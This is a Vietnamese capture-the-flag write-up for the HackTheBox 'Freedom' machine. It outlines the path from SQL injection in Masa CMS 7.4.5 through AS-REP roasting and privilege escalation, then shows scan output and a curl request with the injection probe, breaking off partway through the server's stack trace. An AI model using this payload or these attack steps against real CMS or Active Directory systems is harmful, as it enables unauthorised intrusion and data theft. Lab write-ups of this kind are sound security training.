---
# System prepended metadata

title: "    Freedom\n"

---

<h1>
    Freedom
</h1>

Lâu rồi mới chơi lại CTF mà vô tình giải [HTB University 2024](https://https://www.hackthebox.com/universities/university-ctf-2024) có mảng **fullpwn** nên cũng muốn nghịch ngợm chút. 

**Fullpwn** hiểu đơn giản là từ những lỗ hổng ban đầu (có thể là lỗi của web hay service,...) mà chiếm được quyền user (thường là có shell user) và từ user đó chiếm được quyền tối thượng nhất đó chính là (administrator/root). (tóm gọi là đa kỹ nghệ đa kỹ xảo :D)
 
Ngồi vọc vạch tý cũng xong được cả 3 bài :D 
![image](https://hackmd.io/_uploads/rkm4R31Hyg.png)

Nay được yêu cầu thì mình cũng muốn viết lại writeup chỉn chu chút cho bài này.

<h2>
    Summary
</h2>

Freedom là box Windows với lỗ hổng ban đầu liên quan tới **CVE-2024-32640** về **SQL Injection** với endpoint `/_api/json/v1/default/?method` (mọi chi tiết mọi người có thể đọc lại bài phân tích này của [Project Discovery](https://projectdiscovery.io/blog/hacking-apple-with-sql-injection) rồi từ đó dump được toàn bộ DB. Từ đây sẽ có 2 hướng để làm tiếp bài này.

**Hướng 1**: Dump toàn bộ thông tin từ bảng `tusers` để lấy được họ tên đầy đủ và mật khẩu tương ứng. Tiếp theo lợi dụng việc cờ `UF_DONT_REQUIRE_PREAUTH` được bật dẫn đến việc từ đó ta có thể thực hiện `AS-REP Kerberoasting` ở những tài khoản khác. Sử dụng kết hợp với bộ tool huyền thoại `impacket` với một chút biến tấu thì có thể tìm ra được hash của 1 user. Vô tình hash đó có thể crack được và từ đó có thể lấy được `user.txt`. Từ **user** có được lợi dụng [**leaked handles**](https://web.archive.org/web/20240110040601/http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) để có thể leo lên quyền tới quyền Administrator.

**Hướng 2**: Từ việc khai thác SQLi ta có thể dump được token reset của admin sau đó đặt lại mật khẩu và đăng nhập. Sau khi đăng nhập thì tải plugin và có shell. Từ đó có thể đọc được toàn bộ flag bằng cách thủ công `grep` (bởi vì ta có quyền làm điều đó :D).

<h2>
    Exploitation
</h2>

Bắt đầu bằng cách sử dụng `nmap` theo địa chỉ IP đã cho
```bash=
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ sudo nmap -sCV -T3 -v -vv 10.129.231.208 -oN nmap_freedom  
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 22:45 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:45
Completed NSE at 22:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:45
Completed NSE at 22:45, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:45
Completed NSE at 22:45, 0.00s elapsed
Initiating Ping Scan at 22:45
Scanning 10.129.231.208 [4 ports]
Completed Ping Scan at 22:45, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:45
Completed Parallel DNS resolution of 1 host. at 22:45, 13.00s elapsed
DNS resolution of 1 IPs took 13.00s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, SF: 0, TR: 3, CN: 0]
Initiating SYN Stealth Scan at 22:45
Scanning 10.129.231.208 [1000 ports]
Discovered open port 445/tcp on 10.129.231.208
Discovered open port 139/tcp on 10.129.231.208
Discovered open port 80/tcp on 10.129.231.208
Discovered open port 135/tcp on 10.129.231.208
Discovered open port 53/tcp on 10.129.231.208
Discovered open port 389/tcp on 10.129.231.208
Discovered open port 636/tcp on 10.129.231.208
Discovered open port 3268/tcp on 10.129.231.208
Discovered open port 88/tcp on 10.129.231.208
Discovered open port 3269/tcp on 10.129.231.208
Discovered open port 464/tcp on 10.129.231.208
Discovered open port 593/tcp on 10.129.231.208
Completed SYN Stealth Scan at 22:45, 9.34s elapsed (1000 total ports)
Initiating Service scan at 22:45
Scanning 12 services on 10.129.231.208
Completed Service scan at 22:45, 24.50s elapsed (12 services on 1 host)
NSE: Script scanning 10.129.231.208.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:45
NSE Timing: About 99.94% done; ETC: 22:46 (0:00:00 remaining)
Completed NSE at 22:46, 40.06s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:46
Completed NSE at 22:46, 5.51s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:46
Completed NSE at 22:46, 0.00s elapsed
Nmap scan report for 10.129.231.208
Host is up, received echo-reply ttl 127 (0.19s latency).
Scanned at 2024-12-17 22:45:21 EST for 80s
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       REASON          VERSION
53/tcp   open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp   open  http          syn-ack ttl 127 Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 6 disallowed entries 
|_/admin/ /core/ /modules/ /config/ /themes/ /plugins/
|_http-title: Did not follow redirect to http://freedom.htb/
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-12-18 03:31:07Z)
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: freedom.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 127
464/tcp  open  kpasswd5?     syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack ttl 127
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: freedom.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack ttl 127
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 2657/tcp): CLEAN (Timeout)
|   Check 2 (port 14616/tcp): CLEAN (Timeout)
|   Check 3 (port 55639/udp): CLEAN (Timeout)
|   Check 4 (port 9192/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2024-12-18T03:31:26
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: -14m31s

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:46
Completed NSE at 22:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:46
Completed NSE at 22:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:46
Completed NSE at 22:46, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.94 seconds
           Raw packets sent: 1994 (87.712KB) | Rcvd: 15 (644B)

```
Nhìn thấy port **88** thì có thể gần tự tin nói rằng đây là `Domain Controller` rồi. 

Thực hiện `ldapsearch` để tìm **FQDN**:

```bash=
ldapsearch -x -H ldap://10.129.231.208 -s base | grep dnsHostName
dnsHostName: DC1.freedom.htb
```
Còn 1 cách khác để tìm **FQDN** đó là sử dụng `nxc` (tương ứng `crackmapexec`):
```bash=
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ nxc smb 10.129.231.208 -u '' -p ''
SMB         10.129.231.208  445    DC1              [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC1) (domain:freedom.htb) (signing:True) (SMBv1:False)
SMB         10.129.231.208  445    DC1              [+] freedom.htb\: 
```
Nhân tiện check thêm các file chia sẻ (vì thấy smb đang mở) thì không có quyền :(
Vậy thì cập nhật lại file `/etc/hosts`:
```bash=
10.129.231.208	DC1.freedom.htb	freedom.htb	DC1
```

Nghịch ngợm thêm thì tài khoản `guest` không thể đăng nhập vì bị disable
```bash
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ nxc smb 10.129.231.208 -u 'guest' -p ''
SMB         10.129.231.208  445    DC1              [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC1) (domain:freedom.htb) (signing:True) (SMBv1:False)
SMB         10.129.231.208  445    DC1              [-] freedom.htb\guest: STATUS_ACCOUNT_DISABLED
```

Quay trở lại với port 80  thì thấy rằng `http://freedom.htb` đang chạy service **Masa CMS v7.4.5**. 

```bash=
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ curl -v -I 'http://freedom.htb'        
* Host freedom.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.231.208
*   Trying 10.129.231.208:80...
* Connected to freedom.htb (10.129.231.208) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: freedom.htb
> User-Agent: curl/8.11.1
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 
HTTP/1.1 200 
< Date: Wed, 18 Dec 2024 04:03:19 GMT
Date: Wed, 18 Dec 2024 04:03:19 GMT
< Server: Apache/2.4.52 (Ubuntu)
Server: Apache/2.4.52 (Ubuntu)
< Strict-Transport-Security: max-age=1200
Strict-Transport-Security: max-age=1200
< Generator: Masa CMS 7.4.5
Generator: Masa CMS 7.4.5
< Content-Type: text/html;charset=UTF-8
Content-Type: text/html;charset=UTF-8
< Content-Language: en-US
Content-Language: en-US
< Content-Length: 15947
Content-Length: 15947
< Set-Cookie: MXP_TRACKINGID=2BE62FDB-EA06-4692-BB8BF3308D0C7C00;Path=/;Expires=Thu, 17-Dec-2054 11:54:49 UTC;HttpOnly
Set-Cookie: MXP_TRACKINGID=2BE62FDB-EA06-4692-BB8BF3308D0C7C00;Path=/;Expires=Thu, 17-Dec-2054 11:54:49 UTC;HttpOnly
< Set-Cookie: mobileFormat=false;Path=/;Expires=Thu, 17-Dec-2054 11:54:49 UTC;HttpOnly
Set-Cookie: mobileFormat=false;Path=/;Expires=Thu, 17-Dec-2054 11:54:49 UTC;HttpOnly
< SET-COOKIE: cfid=bde2faa4-0650-445f-942c-db1f8c1b2f82;expires=Fri, 18-Dec-2054 04:03:19 GMT;path=/;HttpOnly;
SET-COOKIE: cfid=bde2faa4-0650-445f-942c-db1f8c1b2f82;expires=Fri, 18-Dec-2054 04:03:19 GMT;path=/;HttpOnly;
< SET-COOKIE: cftoken=0;expires=Fri, 18-Dec-2054 04:03:19 GMT;path=/;HttpOnly;
SET-COOKIE: cftoken=0;expires=Fri, 18-Dec-2054 04:03:19 GMT;path=/;HttpOnly;

```

Vẫn như thông thường thì sau khi check var cùng google thì thấy rằng phiên bản này của Masa có lỗi liên quan tới [SQL Injection](https://projectdiscovery.io/blog/hacking-apple-with-sql-injection). Check PoC lại thì có thể sử dụng `ghauri` để khai thác. 

Nhưng trước khi khai thác thì phải check lại một lần nữa (Lỗi này là Error-based SQL injection).

```bash=
──(kali㉿kali)-[~/Desktop/freedom]
└─$ curl -v "http://freedom.htb/index.cfm/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c'&previewID=x" -X POST 
* Host freedom.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.231.208
*   Trying 10.129.231.208:80...
* Connected to freedom.htb (10.129.231.208) port 80
* using HTTP/1.x
> POST /index.cfm/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c'&previewID=x HTTP/1.1
> Host: freedom.htb
> User-Agent: curl/8.11.1
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 500 
< Date: Wed, 18 Dec 2024 04:07:59 GMT
< Server: Apache/2.4.52 (Ubuntu)
< Strict-Transport-Security: max-age=1200
< Generator: Masa CMS 7.4.5
< ETag: 9E2ED52141823B0284A0CCF151D35483
< Content-Type: application/json;charset=utf-8
< Content-Language: en-US
< Content-Length: 26177
< Set-Cookie: MXP_TRACKINGID=62797169-14E5-4443-91C08CDF33BD7128;Path=/;Expires=Thu, 17-Dec-2054 11:59:29 UTC;HttpOnly
< Set-Cookie: mobileFormat=false;Path=/;Expires=Thu, 17-Dec-2054 11:59:29 UTC;HttpOnly
< SET-COOKIE: cfid=d089dd6e-c1f1-4a3c-a974-de184f8104e5;expires=Fri, 18-Dec-2054 04:07:59 GMT;path=/;HttpOnly;
< SET-COOKIE: cftoken=0;expires=Fri, 18-Dec-2054 04:07:59 GMT;path=/;HttpOnly;
< Connection: close
< 
{"error":{"message":"Unhandled Exception","code":"server_error","stacktrace":{"extended_info":"","message":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''x\\'''\n\tand tcontentobjects.columnid=1\n\torder by tcontentobjects.orderno' at line 8","queryerror":"select tcontentobjects.object,tcontentobjects.name,tcontentobjects.objectid, tcontentobjects.orderno, tcontentobjects.params, tplugindisplayobjects.configuratorInit from tcontentobjects\n\tinner join tcontent On(\n\ttcontentobjects.contenthistid=tcontent.contenthistid\n\tand tcontentobjects.siteid=tcontent.siteid)\n\tleft join tplugindisplayobjects on (tcontentobjects.object='plugin'\n\t\t\t\t\t\t\t\t\t\tand tcontentobjects.objectID=tplugindisplayobjects.objectID)\n\twhere tcontent.siteid='default'\n\tand tcontent.contenthistid ='x\\'''\n\tand tcontentobjects.columnid=1\n\torder by tcontentobjects.orderno","sql":"select tcontentobjects.object,tcontentobjects.name,tcontentobjects.objectid, tcontentobjects.orderno, tcontentobjects.params, tplugindisplayobjects.configuratorInit from tcontentobjects\n\tinner join tcontent On(\n\ttcontentobjects.contenthistid=tcontent.contenthistid\n\tand tcontentobjects.siteid=tcontent.siteid)\n\tleft join tplugindisplayobjects on (tcontentobjects.object='plugin'\n\t\t\t\t\t\t\t\t\t\tand tcontentobjects.objectID=tplugindisplayobjects.objectID)\n\twhere tcontent.siteid='default'\n\tand tcontent.contenthistid ='x\\'''\n\tand tcontentobjects.columnid=1\n\torder by tcontentobjects.orderno","detail":"","sqlstate":"42000","additional":{"sql":"select tcontentobjects.object,tcontentobjects.name,tcontentobjects.objectid, tcontentobjects.orderno, tcontentobjects.params, tplugindisplayobjects.configuratorInit from tcontentobjects\n\tinner join tcontent On(\n\ttcontentobjects.contenthistid=tcontent.contenthistid\n\tand tcontentobjects.siteid=tcontent.siteid)\n\tleft join tplugindisplayobjects on (tcontentobjects.object='plugin'\n\t\t\t\t\t\t\t\t\t\tand tcontentobjects.objectID=tplugindisplayobjects.objectID)\n\twhere tcontent.siteid='default'\n\tand tcontent.contenthistid ='x\\'''\n\tand tcontentobjects.columnid=1\n\torder by tcontentobjects.orderno","databasename":"MySQL","databaseversion":"8.0.39-0ubuntu0.22.04.1","drivername":"MySQL Connector/J","driverversion":"mysql-connector-j-9.1.0 (Revision: cf2917ea44ae2e43a4514a33771035aa99de73bf)","datasource":"MasaCMS"},"tagcontext":[{"raw_trace":"content.contentgatewayadobe_cfc$cf.udfCall5(/mura/content/contentGatewayAdobe.cfc:2664)","codeprintplain":"2662: \tand tcontentobjects.columnid=#arguments.columnID#\n2663: \torder by tcontentobjects.orderno\n2664: \t</cfquery>\n2665: \n2666: \t<cfreturn rsObjects>\n","column":"0","line":"2664","template":"/var/www/MasaCMS/core/mura/content/contentGatewayAdobe.cfc","id":"??","type":"cfml","codeprinthtml":"2662: &nbsp;&nbsp;&nbsp;and&nbsp;tcontentobjects.columnid=#arguments.columnID#<br>\n2663: &nbsp;&nbsp;&nbsp;order&nbsp;by&nbsp;tcontentobjects.orderno<br>\n<b>2664: &nbsp;&nbsp;&nbsp;&lt;/cfquery&gt;</b><br>\n2665: <br>\n2666: &nbsp;&nbsp;&nbsp;&lt;cfreturn&nbsp;rsObjects&gt;<br>\n"},{"raw_trace":"content.contentrendererutility_cfc$cf.udfCall4_000073(/mura/content/contentRendererUtility.cfc:1507)","codeprintplain":"1505: \t\t\t</cfif>\n1506: \n1507: \t\t\t<cfset rsObjects=getBean('contentGateway').getObjects(arguments.columnID,arguments.contentHistID,event.getValue('siteID'))>\n1508: \t\t\t<cfset request.muraRegionObjectCounts['region#arguments.columnID#']=request.muraRegionObjectCounts['region#arguments.columnID#'] + rsObjects.recordcount>\n1509: \t\t\t<cfloop query=\"rsObjects\">\n","column":"0","line":"1507","template":"/var/www/MasaCMS/core/mura/content/contentRendererUtility.cfc","id":"??","type":"cfml","codeprinthtml":"1505: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/cfif&gt;<br>\n1506: <br>\n<b>1507: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;cfset&nbsp;rsObjects=getBean('contentGateway').getObjects(arguments.columnID,arguments.contentHistID,event.getValue('siteID'))&gt;</b><br>\n1508: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;cfset&nbsp;request.muraRegionObjectCounts['region#arguments.columnID#']=request.muraRegionObjectCounts['region#arguments.columnID#']&nbsp;+&nbsp;rsObjects.recordcount&gt;<br>\n1509: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;cfloop&nbsp;query=&quot;rsObjects&quot;&gt;<br>\n"},{"raw_trace":"content.contentrendererutility_cfc$cf.udfCall4(/mura/content/contentRendererUtility.cfc:1446)","codeprintplain":"1444: \n1445: \t\t<cfparam name=\"request.muraActiveRegions\" default=\"\">\n1446: \t\t<cfparam name=\"request.muraRegionObjectCounts\" default=\"#structNew()#\">\n1447: \n1448: \t\t<cfset request.muraActiveRegions=listAppend(request.muraActiveRegions,arguments.columnid)>\n","column":"0","line":"1446","template":"/var/www/MasaCMS/core/mura/content/contentRendererUtility.cfc","id":"??","type":"cfml","codeprinthtml":"1444: <br>\n1445: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;cfparam&nbsp;name=&quot;request.muraActiveRegions&quot;&nbsp;default=&quot;&quot;&gt;<br>\n<b>1446: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;cfparam&nbsp;name=&quot;request.muraRegionObjectCounts&quot;&nbsp;default=&quot;#structNew()#&quot;&gt;</b><br>\n1447: <br>\n1448: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;cfset&nbsp;request.muraActiveRegions=listAppend(request.muraActiveRegions,arguments.columnid)&gt;<br>\n"},{"raw_trace":"content.contentrenderer_cfc$cf.udfCall6(/mura/content/contentRenderer.cfc:2435)","codeprintplain":"2433: \t<cfset arguments.renderer=this>\n2434: \t<cfset arguments.layoutmanager=this.layoutmanager>\n2435: \t<cfreturn variables.contentRendererUtility.dspObjects(argumentCollection=arguments)>\n2436: </cffunction>\n2437: \n","column":"0","line":"2435","template":"/var/www/MasaCMS/core/mura/content/contentRenderer.cfc","id":"??","type":"cfml","codeprinthtml":"2433: &nbsp;&nbsp;&nbsp;&lt;cfset&nbsp;arguments.renderer=this&gt;<br>\n2434: &nbsp;&nbsp;&nbsp;&lt;cfset&nbsp;arguments.layoutmanager=this.layoutmanager&gt;<br>\n<b>2435: &nbsp;&nbsp;&nbsp;&lt;cfreturn&nbsp;variables.contentRendererUtility.dspObjects(argumentCollection=arguments)&gt;</b><br>\n2436: &lt;/cffunction&gt;<br>\n2437: <br>\n"},{"raw_trace":"cfobject_cfc$cf.udfCall3(/mura/cfobject.cfc:262)","codeprintplain":"260: \t\tif(structKeyExists(this, arguments.methodName)) {\n261: \t\t\tvar theMethod = this[ arguments.methodName ];\n262: \t\t\treturn theMethod(argumentCollection = methodArguments);\n263: \t\t}\n264: \t\tif(structKeyExists(this, \"onMissingMethod\")) {\n","column":"0","line":"262","template":"/var/www/MasaCMS/core/mura/cfobject.cfc","id":"??","type":"cfml","codeprinthtml":"260: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(structKeyExists(this,&nbsp;arguments.methodName))&nbsp;{<br>\n261: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;theMethod&nbsp;=&nbsp;this[&nbsp;arguments.methodName&nbsp;];<br>\n<b>262: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;theMethod(argumentCollection&nbsp;=&nbsp;methodArguments);</b><br>\n263: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>\n264: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(structKeyExists(this,&nbsp;&quot;onMissingMethod&quot;))&nbsp;{<br>\n"},{"raw_trace":"masascope_cfc$cf.udfCall1(/mura/MasaScope.cfc:135)","codeprintplain":"133: \t\t\tsavecontent variable=\"local.thevalue2\" {\n134: \t\t\t\t\tif ( !structIsEmpty(arguments.MissingMethodArguments) ) {\n135: \t\t\t\t\t\tlocal.theValue1=object.invokeMethod( methodArguments=arguments.MissingMethodArguments, methodName=arguments.MissingMethodName);\n136: \t\t\t\t\t} else {\n137: \t\t\t\t\t\tlocal.theValue1=object.invokeMethod(methodName=arguments.MissingMethodName);\n","column":"0","line":"135","template":"/var/www/MasaCMS/core/mura/MasaScope.cfc","id":"??","type":"cfml","codeprinthtml":"133: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;savecontent&nbsp;variable=&quot;local.thevalue2&quot;&nbsp;{<br>\n134: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;!structIsEmpty(arguments.MissingMethodArguments)&nbsp;)&nbsp;{<br>\n<b>135: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;local.theValue1=object.invokeMethod(&nbsp;methodArguments=arguments.MissingMethodArguments,&nbsp;methodName=arguments.MissingMethodName);</b><br>\n136: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br>\n137: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;local.theValue1=object.invokeMethod(methodName=arguments.MissingMethodName);<br>\n"},{"raw_trace":"client.api.json.v1.jsonapiutility_cfc$cf.udfCall6_000109(/mura/client/api/json/v1/jsonApiUtility.cfc:3923)","codeprintplain":"3921: \t\t\tcase 'displayregion':\n3922: \t\t\t\tresult={\n3923: \t\t\t\t\thtml=applyRemoteFormat($.dspObjects(argumentCollection=$.event().getAllValues()))\n3924: \t\t\t\t};\n3925: \n","column":"0","line":"3923","template":"/var/www/MasaCMS/core/mura/client/api/json/v1/jsonApiUtility.cfc","id":"??","type":"cfml","codeprinthtml":"3921: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'displayregion':<br>\n3922: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result={<br>\n<b>3923: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;html=applyRemoteFormat($.dspObjects(argumentCollection=$.event().getAllValues()))</b><br>\n3924: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;};<br>\n3925: <br>\n"},{"raw_trace":"client.api.json.v1.jsonapiutility_cfc$cf.udfCall6(/mura/client/api/json/v1/jsonApiUtility.cfc:3922)","codeprintplain":"3920: \n3921: \t\t\tcase 'displayregion':\n3922: \t\t\t\tresult={\n3923: \t\t\t\t\thtml=applyRemoteFormat($.dspObjects(argumentCollection=$.event().getAllValues()))\n3924: \t\t\t\t};\n","column":"0","line":"3922","template":"/var/www/MasaCMS/core/mura/client/api/json/v1/jsonApiUtility.cfc","id":"??","type":"cfml","codeprinthtml":"3920: <br>\n3921: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'displayregion':<br>\n<b>3922: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result={</b><br>\n3923: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;html=applyRemoteFormat($.dspObjects(argumentCollection=$.event().getAllValues()))<br>\n3924: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;};<br>\n"},{"raw_trace":"client.api.json.v1.jsonapiutility_cfc$cf.udfCall2_000012(/mura/client/api/json/v1/jsonApiUtility.cfc:893)","codeprintplain":"891: \t\t\t\tif(isDefined('#params.method#')){\n892: \n893: \t\t\t\t\tvar result=invoke(this,params.method,params);\n894: \n895: \t\t\t\t\tif(!isJson(result)){\n","column":"0","line":"893","template":"/var/www/MasaCMS/core/mura/client/api/json/v1/jsonApiUtility.cfc","id":"??","type":"cfml","codeprinthtml":"891: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(isDefined('#params.method#')){<br>\n892: <br>\n<b>893: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;result=invoke(this,params.method,params);</b><br>\n894: <br>\n895: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!isJson(result)){<br>\n"},{"raw_trace":"client.api.json.v1.jsonapiutility_cfc$cf.udfCall2(/mura/client/api/json/v1/jsonApiUtility.cfc:893)","codeprintplain":"891: \t\t\t\tif(isDefined('#params.method#')){\n892: \n893: \t\t\t\t\tvar result=invoke(this,params.method,params);\n894: \n895: \t\t\t\t\tif(!isJson(result)){\n","column":"0","line":"893","template":"/var/www/MasaCMS/core/mura/client/api/json/v1/jsonApiUtility.cfc","id":"??","type":"cfml","codeprinthtml":"891: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(isDefined('#params.method#')){<br>\n892: <br>\n<b>893: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;result=invoke(this,params.method,params);</b><br>\n894: <br>\n895: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!isJson(result)){<br>\n"},{"raw_trace":"content.contentserver_cfc$cf.udfCall2(/mura/content/contentServer.cfc:613)","codeprintplain":"611: \t\t\t<cfset siteid=\"default\">\n612: \t\t</cfif>\n613: \t\t<cfreturn getBean('settingsManager').getSite(siteid).getApi('json','v1').processRequest(arguments.path)>\n614: \t<cfelseif left(arguments.path,len(restendpoint)) eq restendpoint or left(arguments.path,len(restendpoint)) eq restendpoint>\n615: \t\t<cfset request.muraAPIRequest=true>\n","column":"0","line":"613","template":"/var/www/MasaCMS/core/mura/content/contentServer.cfc","id":"??","type":"cfml","codeprinthtml":"611: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;cfset&nbsp;siteid=&quot;default&quot;&gt;<br>\n612: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/cfif&gt;<br>\n<b>613: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;cfreturn&nbsp;getBean('settingsManager').getSite(siteid).getApi('json','v1').processRequest(arguments.path)&gt;</b><br>\n614: &nbsp;&nbsp;&nbsp;&lt;cfelseif&nbsp;left(arguments.path,len(restendpoint))&nbsp;eq&nbsp;restendpoint&nbsp;or&nbsp;left(arguments.path,len(restendpoint))&nbsp;eq&nbsp;restendpoint&gt;<br>\n615: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;cfset&nbsp;request.muraAPIRequest=true&gt;<br>\n"},{"raw_trace":"content.contentserver_cfc$cf.udfCall2(/mura/content/contentServer.cfc:775)","codeprintplain":"773: \n774: \t<cfif listFindNoCase('_api,tasks',listFirst(path,'/'))>\n775: \t\t<cfreturn handleAPIRequest(path)>\n776: \t<cfelse>\n777: \n","column":"0","line":"775","template":"/var/www/MasaCMS/core/mura/content/contentServer.cfc","id":"??","type":"cfml","codeprinthtml":"773: <br>\n774: &nbsp;&nbsp;&nbsp;&lt;cfif&nbsp;listFindNoCase('_api,tasks',listFirst(path,'/'))&gt;<br>\n<b>775: 